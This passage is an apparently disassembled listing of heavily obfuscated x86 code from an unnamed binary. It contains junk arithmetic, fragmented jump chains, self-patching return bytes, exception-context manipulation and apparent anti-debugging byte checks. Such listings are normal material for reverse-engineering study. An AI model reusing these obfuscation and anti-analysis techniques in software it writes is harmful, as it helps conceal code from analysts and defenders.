CHUNK AT 0074CB55 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074DA35 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074F8F2 SIZE 00000025 BYTES push ebp mov ebp, esp jno sub_7475DD add esp, 0FFFFFFECh mov eax, offset dword_7575C4 call sub_745BF7 jmp loc_74CB55 sub_754FC6 endp ; --------------------------------------------------------------------------- loc_754FE1: ; CODE XREF: _0z4jwtox:0074936Fj pushf mov [esi], edx ; START OF FUNCTION CHUNK FOR sub_748DCB loc_754FE4: ; CODE XREF: sub_748DCB:loc_749359j xor eax, 0E9BADC6Dh add eax, ebp add eax, 4B89CCB0h mov eax, [eax] pushf add eax, 73C4AE42h jmp loc_75146E ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_755000: ; CODE XREF: sub_749980-38B0j ror esi, 10h jmp loc_74774A ; END OF FUNCTION CHUNK FOR sub_749980 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750A01 loc_755009: ; CODE XREF: sub_750A01+3359j jmp nullsub_254 ; END OF FUNCTION CHUNK FOR sub_750A01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_75500E: ; CODE XREF: sub_74CBCF:loc_7520ECj jmp loc_7503BC ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- mov ds:dword_41F11C, eax lea eax, nullsub_272 mov byte ptr [eax], 0C3h jmp nullsub_272 ; --------------------------------------------------------------------------- call sub_745978 ; GetCurrentProcessId ; START OF FUNCTION CHUNK FOR sub_750715 loc_75502C: ; CODE XREF: sub_750715:loc_745C43j push 0C29E6ADFh pop edi sub edi, 88F0EE09h rol edi, 1Bh and edi, 4DD7864Fh push offset loc_749F71 jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_750715 ; =============== S U B R O U T I N E ======================================= sub_75504B proc near ; DATA XREF: sub_74E693-2219o sub eax, edi pop edi push ecx push 53965142h pop ecx rol ecx, 0Ah xor ecx, 0D48B44A0h add ecx, 0A2D6D1EDh jmp loc_74EBE7 sub_75504B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_755069: ; CODE XREF: sub_749980-2225j mov [ebp-2Ch], eax push offset sub_7471E3 jmp nullsub_216 ; END OF FUNCTION CHUNK FOR sub_749980 ; =============== S U B R O U T I N E ======================================= sub_755076 proc near ; DATA XREF: _0z4jwtox:0075268Co lea eax, nullsub_294 mov byte ptr [eax], 0C3h jmp nullsub_294 sub_755076 endp ; --------------------------------------------------------------------------- loc_755084: ; CODE XREF: _0z4jwtox:0074E511j mov eax, [esp] push edi mov edi, edx xchg edi, [esp] jmp loc_756D32 ; --------------------------------------------------------------------------- loc_755092: ; CODE XREF: _0z4jwtox:loc_756075j pop eax add eax, 0FA295EB0h xor eax, 0F489BF25h push edx pushf push 92E0761Ch ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7550A6: ; CODE XREF: sub_7473D1:loc_74E2E3j pop edx jmp loc_7506E2 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_7550AC: ; CODE XREF: sub_74FA7E+Cj cmp byte ptr [eax], 0F1h jnz loc_74F302 jmp loc_756D2D ; END OF FUNCTION CHUNK FOR sub_74FA7E ; --------------------------------------------------------------------------- loc_7550BA: ; CODE XREF: _0z4jwtox:loc_74EDFEj jz loc_7556F9 jmp loc_74AF70 ; --------------------------------------------------------------------------- loc_7550C5: ; CODE XREF: _0z4jwtox:loc_74D98Fj ; _0z4jwtox:0074D9A3j add esi, 67D24C9Eh call sub_74E074 add esi, 0EA134BA0h jmp loc_7484F2 ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 92h, 0C6h, 0Ch dd 38C1F729h, 0E96F0D59h, 0FFFF7E5Fh ; --------------------------------------------------------------------------- loc_7550EC: ; CODE XREF: _0z4jwtox:00752E80j xchg ecx, [eax] mov ecx, 565F6D9Eh jmp loc_750D9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A2D9 loc_7550F8: ; CODE XREF: sub_74A2D9+15j mov ebp, eax pop eax retn 0Ch ; END OF FUNCTION CHUNK FOR sub_74A2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753B3E loc_7550FE: ; CODE XREF: sub_753B3E+12j jmp loc_7558AD ; END OF FUNCTION CHUNK FOR sub_753B3E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_755103 proc near ; CODE XREF: sub_746F7A+5p ; sub_74F7C0-4CB5j ... ; FUNCTION CHUNK AT 0074A917 SIZE 00000005 BYTES push ebp mov ebp, esp jb sub_74D782 loc_75510C: ; CODE XREF: _0z4jwtox:00755984j jmp loc_74A917 sub_755103 endp ; --------------------------------------------------------------------------- loc_755111: ; CODE XREF: _0z4jwtox:007557E2j jz loc_753265 ; START OF FUNCTION CHUNK FOR sub_748773 loc_755117: ; CODE XREF: sub_748773+70A9j jmp loc_74A974 ; END OF FUNCTION CHUNK FOR sub_748773 ; --------------------------------------------------------------------------- loc_75511C: ; CODE XREF: _0z4jwtox:0074BB7Dj jmp loc_749F5D ; --------------------------------------------------------------------------- sub eax, edx mov edx, esi cmp edx, ebp jmp loc_75325A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7567B4 loc_75512C: ; CODE XREF: sub_7567B4-10A62j xor eax, esi jnb loc_74DE3C jmp loc_745C4D ; END OF FUNCTION CHUNK FOR sub_7567B4 ; =============== S U B R O U T I N E ======================================= sub_755139 proc near ; CODE XREF: sub_7459B2p ; _0z4jwtox:0074D6C1j xchg ecx, [esp+0] pop ecx call sub_755148 jmp ds:off_41F068 sub_755139 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_755148 proc near ; CODE XREF: _0z4jwtox:loc_750A2Bj ; sub_746640:loc_754881j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074CF97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007502E6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00755AC5 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00757076 SIZE 00000022 BYTES pop edx loc_755149: ; CODE XREF: sub_747AEC:loc_746194j jmp loc_757076 sub_755148 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_75514E: ; CODE XREF: _0z4jwtox:0074E4E7j xor esi, ecx ror edi, 15h ; START OF FUNCTION CHUNK FOR sub_7470E8 loc_755153: ; CODE XREF: sub_7470E8:loc_74E4D0j and esi, 0CB9A6D21h or esi, 1A2963DAh jmp loc_746FD3 ; END OF FUNCTION CHUNK FOR sub_7470E8 ; =============== S U B R O U T I N E ======================================= sub_755164 proc near ; CODE XREF: _0z4jwtox:0074DF83j ; sub_74C2C9+3CEDp xchg esi, [esp+0] pop esi push dword ptr ds:loc_74F377+1 retn sub_755164 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570CA loc_75516F: ; CODE XREF: sub_7570CA+11j jmp loc_74EF96 ; END OF FUNCTION CHUNK FOR sub_7570CA ; --------------------------------------------------------------------------- loc_755174: ; CODE XREF: _0z4jwtox:0074D973j jmp sub_74F688 ; =============== S U B R O U T I N E ======================================= sub_755179 proc near ; CODE XREF: sub_74C2C9-3CD6p ; sub_74C2C9+3CD6p ; FUNCTION CHUNK AT 0074B621 SIZE 00000018 BYTES mov eax, cs xor al, al or eax, eax jmp loc_74B621 sub_755179 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_755184: ; CODE XREF: sub_747C39+65E2j call sub_754175 ; END OF FUNCTION CHUNK FOR sub_747C39 ; START OF FUNCTION CHUNK FOR sub_74AF10 loc_755189: ; CODE XREF: sub_74AF10-1595j jmp loc_74D7C8 ; END OF FUNCTION CHUNK FOR sub_74AF10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75518E: ; CODE XREF: sub_747C22+1B9j jz loc_74888D jmp loc_754ADF ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75427C loc_755199: ; CODE XREF: sub_75427C:loc_754BFAj mov eax, ecx xchg eax, [esp+0] mov ecx, [esp+8+arg_4] mov dword ptr [ecx], 10001h lea eax, loc_74E214 mov [ecx+0B8h], eax call sub_746DB9 ; END OF FUNCTION CHUNK FOR sub_75427C ; START OF FUNCTION CHUNK FOR sub_74F688 loc_7551B9: ; CODE XREF: sub_74F688+6j jmp loc_756BC9 ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CCF4 loc_7551BE: ; CODE XREF: sub_74CCF4+22j jmp nullsub_267 ; END OF FUNCTION CHUNK FOR sub_74CCF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74870B loc_7551C3: ; CODE XREF: sub_74870B-20E8j jmp loc_74F21E ; END OF FUNCTION CHUNK FOR sub_74870B ; --------------------------------------------------------------------------- loc_7551C8: ; CODE XREF: _0z4jwtox:loc_74D8DCj jnz loc_7499FD ; START OF FUNCTION CHUNK FOR sub_7554BB loc_7551CE: ; CODE XREF: sub_7554BB-F0Aj jmp loc_74DD49 ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- or edx, ecx xchg esi, [edi] sub ebp, edx loc_7551D9: ; CODE XREF: _0z4jwtox:loc_74F8B9j jl loc_753035 cdq jmp loc_7499FD ; --------------------------------------------------------------------------- loc_7551E5: ; DATA XREF: sub_74A821:loc_74AED3o mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74EE43 jmp loc_74A3A6 ; --------------------------------------------------------------------------- rol edi, 0Eh jmp sub_751427 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4C5 loc_7551FF: ; CODE XREF: sub_74D4C5+9j jmp loc_7570A7 ; END OF FUNCTION CHUNK FOR sub_74D4C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BBE loc_755204: ; CODE XREF: sub_748BBE:loc_7561CEj pop edx rol edx, 0Fh add edx, 3ACCDD6Bh xchg edx, [esp+4+var_4] jmp loc_752233 ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_755216: ; CODE XREF: sub_746640+969Bj add eax, [ebp-4] xor edx, edx push edx push ebx jmp loc_74A1AA ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- loc_755222: ; DATA XREF: sub_74F15D+17CAo add edi, 0A227B756h xchg edi, [esp] jmp loc_74A969 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_755230: ; CODE XREF: sub_75043C-5EDBj jnz loc_757563 loc_755236: ; CODE XREF: sub_75043C+1D8Cj jmp loc_7450BB ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- loc_75523B: ; CODE XREF: _0z4jwtox:00751F6Dj jmp loc_750063 ; --------------------------------------------------------------------------- add edx, esi jmp loc_757560 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_755247: ; CODE XREF: sub_74894B:loc_75308Aj xchg esi, [esp+0] mov edi, esi pop esi sub edi, 54069B22h rol edi, 10h cmp edi, 0F0BDBA68h jmp loc_7552E1 ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- push ecx jle loc_748179 jmp sub_755DA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_75526D: ; CODE XREF: sub_7543C5-453Fj add eax, 58BC8FFDh xor eax, 6DE46D96h add eax, 5007F0BFh xor eax, 158671F9h push ebx push 0A24C7C86h pop ebx loc_75528C: ; CODE XREF: _0z4jwtox:0075785Fj jmp loc_74CB84 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_755291: ; CODE XREF: sub_7462C2+96F4j jno loc_74C219 adc edx, 33AB5417h jmp loc_74C7DE ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- locret_7552A2: ; CODE XREF: _0z4jwtox:loc_74D627j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_7552A3: ; CODE XREF: sub_755C10:loc_7566C3j add ecx, 0FEE36649h call sub_74D505 loc_7552AE: ; CODE XREF: _0z4jwtox:007539A3j and eax, 0AAE26FB5h add eax, 8EAE3AE5h jns loc_74E4B4 ; END OF FUNCTION CHUNK FOR sub_755C10 ; START OF FUNCTION CHUNK FOR sub_74ED72 loc_7552C0: ; CODE XREF: sub_74ED72+Cj jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_74ED72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_7552C5: ; CODE XREF: sub_749B76+A3Bj jmp loc_757225 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- adc edi, 64C5F66Eh jmp loc_74E4B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ED53 loc_7552D6: ; CODE XREF: sub_74ED53+7j jmp loc_74A0DE ; END OF FUNCTION CHUNK FOR sub_74ED53 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7552DC: ; CODE XREF: _0z4jwtox:00756502j jmp loc_756753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_7552E1: ; CODE XREF: sub_74894B+C911j jmp loc_746820 ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_7552E6: ; CODE XREF: sub_748A22:loc_74C943j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D7D4 loc_7552EB: ; CODE XREF: sub_74D7D4-394Bj jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_74D7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7552F0: ; CODE XREF: sub_747C22-214j jmp loc_753AC3 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_74A2E7 jmp loc_75371C ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75565F loc_75530F: ; CODE XREF: sub_75565F+18j jmp loc_752337 ; END OF FUNCTION CHUNK FOR sub_75565F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_755314: ; CODE XREF: sub_750638:loc_74A0F0j ; sub_750638+575Bj mov eax, [ebp+var_108] call sub_7471C6 loc_75531F: ; CODE XREF: _0z4jwtox:0074DCC7j jmp loc_755BA9 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_755324: ; CODE XREF: sub_74CF35-6DACj jmp loc_748C22 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- loc_755329: ; CODE XREF: _0z4jwtox:007543C0j ja loc_750E08 ; =============== S U B R O U T I N E ======================================= sub_75532F proc near ; CODE XREF: sub_74E3F7:loc_747CF4p ; FUNCTION CHUNK AT 00745AF5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074611D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746F06 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00747D66 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074CEC8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007562E5 SIZE 0000000C BYTES xchg edi, [esp+0] pop edi jmp loc_745AF5 sub_75532F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A83D loc_755338: ; CODE XREF: sub_74A83D+554Bj ; sub_753176-236Bj xchg esi, [esp-4+arg_0] jmp loc_753759 ; END OF FUNCTION CHUNK FOR sub_74A83D ; =============== S U B R O U T I N E ======================================= sub_755340 proc near ; DATA XREF: sub_75537E+8o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00749B44 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074ABA8 SIZE 00000005 BYTES adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx jmp loc_74ABA8 sub_755340 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_75535E: ; CODE XREF: _0z4jwtox:0075542Aj jnz loc_753BA9 and edi, 0FCD45955h ror ebp, 1Ch jmp loc_753BA9 ; --------------------------------------------------------------------------- push offset sub_7568F5 jmp loc_7503CE ; --------------------------------------------------------------------------- loc_75537C: ; CODE XREF: _0z4jwtox:00751214j sbb ecx, ebx ; =============== S U B R O U T I N E ======================================= sub_75537E proc near ; CODE XREF: sub_754E36-EF0Ap arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx cdq add eax, [esp-4+arg_0] push offset sub_755340 jmp nullsub_151 sub_75537E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_755390: ; CODE XREF: sub_74F69D:loc_756C34j xchg ebx, [esp+4+var_4] jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_755398: ; CODE XREF: sub_7490F6:loc_755F72j push eax ror eax, 13h push ebx push 5F924538h pop ebx or ebx, 44295B3h sub ebx, 1C192A07h loc_7553AF: ; CODE XREF: _0z4jwtox:loc_756B83j jmp loc_7491AC ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- locret_7553B4: ; CODE XREF: _0z4jwtox:loc_74BD48j retn ; --------------------------------------------------------------------------- loc_7553B5: ; DATA XREF: sub_745C5B+F361o push 19EC516Ah pop edi or edi, 22ADDDCDh xor edi, 99E71A96h test edi, 8000h jmp loc_7482F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_7553D2: ; CODE XREF: sub_74673E:loc_750710j jz loc_747588 jmp loc_75480B ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7553DD: ; CODE XREF: sub_747A94+6j pop esi xchg esi, [esp+0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jz loc_748A16 jmp loc_7543D9 ; END OF FUNCTION CHUNK FOR sub_747A94 ; =============== S U B R O U T I N E ======================================= sub_7553F4 proc near ; DATA XREF: sub_74CB79+6CD2o ; FUNCTION CHUNK AT 00749C9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755B64 SIZE 00000012 BYTES xor ebx, 3FCC73E0h sub eax, ebx pop ebx call sub_74C733 loc_755402: ; CODE XREF: sub_747892+1005Dj jmp loc_755B64 sub_7553F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_755407: ; CODE XREF: _0z4jwtox:0074DDD5j jmp loc_74D210 ; --------------------------------------------------------------------------- loc_75540C: ; DATA XREF: sub_745D03+1o push 4F8ADF08h pop eax or eax, 0BED137C2h xor eax, 873D355Ah add eax, 5E557DC4h test eax, 4000000h jmp loc_75535E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_75542F: ; CODE XREF: sub_748FA4+4049j xor edx, 9B5FDB63h sub edx, 39CF6C00h add edx, 0CDC20743h xchg edx, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_755449: ; CODE XREF: sub_747C39+9737j shr eax, 1Ah pushf jmp loc_749C1A ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- loc_755452: ; CODE XREF: _0z4jwtox:0074B79Cj add edx, ebx loc_755454: ; CODE XREF: _0z4jwtox:loc_74CF40j mov eax, [esp] push eax loc_755458: ; CODE XREF: _0z4jwtox:loc_74F9E0j push ecx push offset sub_748574 jmp locret_748A82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750F63 loc_755463: ; CODE XREF: sub_750F63+10j add esi, 0FFA0EDCEh ; END OF FUNCTION CHUNK FOR sub_750F63 ; START OF FUNCTION CHUNK FOR sub_751307 loc_755469: ; CODE XREF: sub_751307:loc_74AA33j and esi, 0A9297261h add esi, 0FF541806h xchg esi, [esp+4+var_4] jmp loc_74A77D ; END OF FUNCTION CHUNK FOR sub_751307 ; =============== S U B R O U T I N E ======================================= sub_75547D proc near ; CODE XREF: _0z4jwtox:0074DD16j ; sub_755915+7p ; FUNCTION CHUNK AT 00746350 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00747661 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748F55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007501E5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075492B SIZE 00000006 BYTES xchg edx, [esp+0] pop edx call sub_750C4E mov eax, 11E35Ch push edi push 0FE029456h pop edi sub edi, 39C03C1Ch jmp loc_747661 sub_75547D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_75549D: ; CODE XREF: sub_74AE67+2578j jnp loc_7507A7 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; START OF FUNCTION CHUNK FOR sub_749306 loc_7554A3: ; CODE XREF: sub_75309B-B2E4j ; sub_74D1F3-1F9Fj ... jmp loc_7575D9 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_7554A8: ; CODE XREF: sub_74AE67+27DFj ; sub_74D1F3+3A2Cj xchg esi, [esp-4+arg_0] mov ecx, esi jmp loc_74B122 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7554B2: ; CODE XREF: sub_747C22:loc_74969Cj mov edx, [ecx] sub ecx, edi jmp loc_74ED1E ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_7554BB proc near ; DATA XREF: sub_7570CA-99AAo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074A60D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074D767 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DD49 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074E1E2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00754593 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 007551CE SIZE 00000005 BYTES call sub_746E93 push ecx push 0CEAE2F5Dh pop ecx xor ecx, 8C046878h jnz loc_7545A5 cmp eax, 7020B5F2h jmp loc_754593 sub_7554BB endp ; --------------------------------------------------------------------------- pop edx jmp loc_747A8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7554E4: ; CODE XREF: sub_747C22-C24j dec dword ptr [ebp-2Ch] jnz loc_74E721 jmp loc_74CF9C ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_7554F2: ; CODE XREF: sub_74E693+1603j ; sub_74E693:loc_757214j push 1DBD8606h push offset sub_7542FD jmp loc_753DD1 ; END OF FUNCTION CHUNK FOR sub_74E693 ; =============== S U B R O U T I N E ======================================= sub_755501 proc near ; CODE XREF: _0z4jwtox:0074A72Fj ; sub_747736+43B5p ; FUNCTION CHUNK AT 007529DD SIZE 0000000E BYTES xchg eax, [esp+0] pop eax call sub_746E93 mov ds:dword_41F05C, eax jmp loc_7529DD sub_755501 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ecx push offset sub_7472C9 jmp locret_7485BE ; --------------------------------------------------------------------------- adc eax, edi jmp sub_74AE46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_755528: ; CODE XREF: sub_74FA7E:loc_74F308j call sub_746E93 push esi push 92DB5D13h pop esi sub esi, 0A5DB1372h push offset sub_75368F jmp loc_74D41A ; END OF FUNCTION CHUNK FOR sub_74FA7E ; --------------------------------------------------------------------------- loc_755544: ; CODE XREF: _0z4jwtox:loc_749C48j xchg esi, [esp] jmp sub_746E93 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753D0E loc_75554D: ; CODE XREF: sub_753D0E+7j jmp loc_745B20 ; END OF FUNCTION CHUNK FOR sub_753D0E ; --------------------------------------------------------------------------- loc_755552: ; CODE XREF: _0z4jwtox:0074B6BEj jmp locret_74C536 ; --------------------------------------------------------------------------- loc_755557: ; CODE XREF: _0z4jwtox:007452A7j jmp locret_745608 ; --------------------------------------------------------------------------- loc_75555C: ; CODE XREF: _0z4jwtox:00754F84j jz loc_74BD39 ; START OF FUNCTION CHUNK FOR sub_755F77 loc_755562: ; CODE XREF: sub_755F77-5259j jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_755F77 ; --------------------------------------------------------------------------- ror edx, 2 jmp loc_74BD35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_75556F: ; CODE XREF: sub_749306+A622j jge loc_74C4A0 jg loc_7507D6 loc_75557B: ; CODE XREF: sub_749306:loc_753920j xor edx, 0FEC7FFD6h add edx, ebp add edx, 0AA537E73h mov edx, [edx] call sub_74E3F7 ; END OF FUNCTION CHUNK FOR sub_749306 ; START OF FUNCTION CHUNK FOR sub_747032 loc_755590: ; CODE XREF: sub_747032+Dj jmp sub_756974 ; END OF FUNCTION CHUNK FOR sub_747032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_755595: ; CODE XREF: sub_749608+7159j mov byte ptr [eax], 0C3h jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- loc_75559D: ; CODE XREF: _0z4jwtox:00752266j mov eax, [esp] push edx call sub_750C4E push 1A33E839h jmp loc_753D88 ; --------------------------------------------------------------------------- loc_7555B0: ; CODE XREF: _0z4jwtox:00755AC0j jl loc_747EC8 jnz loc_7482F5 jz loc_7549E0 ; START OF FUNCTION CHUNK FOR sub_746C5E loc_7555C2: ; CODE XREF: sub_746C5E:loc_755AAFj xor esi, 0DD099D45h sub eax, esi jmp loc_74DBCB ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747968 loc_7555CF: ; CODE XREF: sub_747968+4831j push 364E300Dh pop ecx xor ecx, 0FA384BCCh push offset sub_74C0C0 jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_747968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C527 loc_7555E5: ; CODE XREF: sub_74C527+Aj push edx push ebx mov ebx, eax xchg ebx, [esp+8+var_8] push 9EA01662h xchg edx, [esp+0Ch+var_C] jmp loc_75661F ; END OF FUNCTION CHUNK FOR sub_74C527 ; --------------------------------------------------------------------------- mov ds:off_41F180, eax lea eax, sub_750291 push offset loc_749130 jmp locret_74D20F ; --------------------------------------------------------------------------- loc_75560F: ; DATA XREF: sub_745A78+E77Do push ecx push 20836924h pop ecx rol ecx, 16h jnb loc_74D902 ; START OF FUNCTION CHUNK FOR sub_750243 loc_75561F: ; CODE XREF: sub_750243+658Dj jmp loc_753727 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_755624: ; CODE XREF: sub_747AEC:loc_74618Ej ; sub_754C68-1839j jmp loc_74F600 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CA64 loc_755629: ; CODE XREF: sub_74CA64+17F3j jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_74CA64 ; --------------------------------------------------------------------------- not edi jmp loc_74D900 ; --------------------------------------------------------------------------- loc_755635: ; CODE XREF: _0z4jwtox:0074FBE4j jz loc_7494F9 jmp loc_7465CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_755640: ; CODE XREF: sub_75622B:loc_74E616j xchg esi, [esp+0] call sub_74A3AB push 